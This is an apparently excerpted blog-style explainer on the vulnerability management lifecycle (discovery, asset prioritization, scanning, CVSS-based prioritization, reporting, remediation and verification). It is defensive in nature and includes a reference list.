Various vulnerability management software is being used to perform this process. Vulnerability management software uses vulnerability scanners or endpoint agents to find the software vulnerabilities on the servers/devices present in the network. Some famous vendors which provide vulnerability management solutions are Qualys, Tenable, Rapid7, etc.

An organization can have a separate vulnerability management team under the cybersecurity domain or the Security operation centre can take this responsibility. There's a vulnerability management lifecycle that is being followed by the organizations and the cycle includes the below steps.

1. Discover

2. Prioritize assets

3. Assess

4. Report

5. Remediate

6. Verify

Image Credit: s21sec

1. Discover

There can be lots of assets in a network. As discussed earlier, it can be anything connected to the network such as Mobiles, CC TV cameras, servers, IoT devices, End-user computers, networking devices like switches, routers, load balancers, etc. It is always not possible for an organization to keep track of all the assets present in the network. CMDB is being used to keep track of assets to some extent, but there is a bigger chance of an asset being missed out from CMDB due to a lack of process or coordination between multiple teams. So a vulnerability management team needs to discover all the assets present in the network, as one vulnerable host in the network can lead to a complete network takeover or a big cyber attack.

The team can collect the data from CMDB, can refer to the architecture documents, or take help from the network team to get the details of the subnets being used in the organization. Then with the help of a Vulnerability scanner, a discovery scan can be run. What is a discovery scan? The discovery scan is being performed on a network to identify hosts that are currently active and connected to the Internet.

When we use a vulnerability management tool like Qualys or Nessus or Nexpose, once we run a discovery scan the active and connected hosts will be added to the assets database with some basic information.

2. Prioritize assets

Once the assets are discovered, those assets need to be prioritized. To make it efficient, running a vulnerability scan on all the hosts and working on remediation may not be helpful as this process is time-consuming. The way vulnerabilities are getting exploited, it is really easy to become a target of a threat attacker. Let's say we have 10 servers in an organization out of which, 5 are hosted for only employees and it is not serving the internet though it is connected to the internet and the other 5 servers are hosting company websites on the internet. It is easy to guess that the latter ones are the target of threat actors and we need to put more priority on those assets.

There can be various mission-critical and business-critical assets in the network. One needs to set the priority as per the organization's requirements. Initially, a set of rules need to be defined to prioritize the assets.

From the above, we can say that assets can be prioritized depending upon 2 characteristics,

1. Asset exposure

2. Potential impact/criticality

3. Assess

The next step in vulnerability management is asses or we can say vulnerability assessment. This includes 2 steps and they are,

1. Scanning the assets to find the vulnerabilities

2. Prioritize or set criticality of the vulnerabilities as per the environment and their severity

Scanning the assets

The assets can be scanned using a vulnerability scanner. A vulnerability scanner tries to reach the target asset over various network ports(TCP/UDP), collects system information, and using that concludes which vulnerabilities are existing on the asset.

For example, a server is running Apache Tomcat 7. x < 7.0.104. When the vulnerability scanner will try to access the webserver it will get to know it from headers about the tomcat version. When it will look for its vulnerability database it will find that the asset is vulnerable to CVE-2020-9484.

However the above can be an example of an unauthenticated scan. There are 2 types of scans

1. Authenticated: The vulnerability scanner will have access to the credentials to log in to the assets. For example, the asset will access a windows OS using port 445 SMB to log in and for a Unix or Linux host, it will access using port 22 SSH. After that, the host will be detailed system information and configuration details such as all patches applied to the system, etc.

2. Unauthenticated: The scanner will have limited access to the system. As the name suggests, there won't be any authentication. The scanner will try to scan all the ports and using that result it lists out the vulnerabilities.

   There's a bigger chance of false positives when it comes to Unauthenticated scans. But in the case of the authenticated scan, there is a lesser chance of false positives.

Agents: To get more clarity and live updates about the vulnerabilities of an asset, an agent is client software installed on the asset. Which will collect the data and will send it to the vulnerability management server. By default, the agent-based scans are authenticated.

Prioritize the vulnerabilities

Once the scanner has scanned the hosts, vulnerabilities need to be prioritized. To help you better decide which vulnerabilities should be fixed first, there are 4 severity levels and the severity is decided using the CVSS score. According to version CVSS 3.0,

The various metric groups and CVSS scores discussed earlier are being used in this phase to prioritize the vulnerabilities.

4. Report

Once the vulnerability management team has all the vulnerability data and they are prioritized depending on the criticality and impact. Those vulnerabilities are reported to various teams.

There can be various types of reporting depending on the requirements. For example. when we want to provide a report to asset owners or support teams to remediate the vulnerabilities, we would like to provide the report with more technical information such as how the vulnerability can be remediated and which file or configuration, or output is responsible for the vulnerability.

But if we want to provide a report to the Leadership or Executives of an organization we may want to provide a much higher level of information like how many vulnerabilities we have, the Top 10 vulnerable assets or Top 10 vulnerabilities affecting our environment, or What is the progress of vulnerability remediation over some time.

5. Remediate

In this step, the vulnerabilities are remediated by the asset owners by applying required patches or performing configuration changes on the asset.

It is always expected that the higher-severity vulnerabilities are remediated first. Also one should consider the aged vulnerabilities present in the environment.

Some vulnerability remediation requires an outage of a service or a reboot of the server. But it is not always possible to take a mission or business-critical server down for a long period during a certain period of the year. So for that reason, exceptions should be allowed in some special cases and those vulnerabilities should be remediated as soon as possible.

One should always consider that, an older vulnerability becomes easier for an attacker to exploit because of the availability of proof of concepts, new tools, and exploiting methods. So delaying the remediation of critical vulnerabilities may lead to major problems.

6. Verify

Once the remediation is done the vulnerability management team needs to run the scan and verify if the vulnerability is fixed or not. If not then the required teams need to be communicated and a proper fix should be applied.

Once the verification is done optional reporting can be done to executives of the organization.

Conclusion

With the completion of the last step the vulnerability management team needs to get started with step 1 i.e. Discovery and this continues as a cyclic process due to the discovery of new CVEs every day.

References

1. https://www.rapid7.com/fundamentals/vulnerability-management-and-scanning/#:~:text=Vulnerability%20management%20is%20the%20process,minimizing%20their%20%22attack%20surface.%22

2. https://cybersecurity.att.com/blogs/security-essentials/vulnerability-management-explained

3. https://www.crowdstrike.com/cybersecurity-101/vulnerability-management/

4. https://www.exabeam.com/information-security/vulnerability-management/

5. https://www.servicenow.com/products/security-operations/what-is-vulnerability-management.html

6. https://www.cdc.gov/cancer/npcr/tools/security/vmlc.htm

7. https://www.cisa.gov/sites/default/files/publications/CRR_Resource_Guide-VM_0.pdf

8. https://www.first.org/cvss/specification-document

9. https://en.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures

10. https://www.cve.org/About/Process

11. https://www.advantio.com/blog/vulnerability-management-assess-prioritize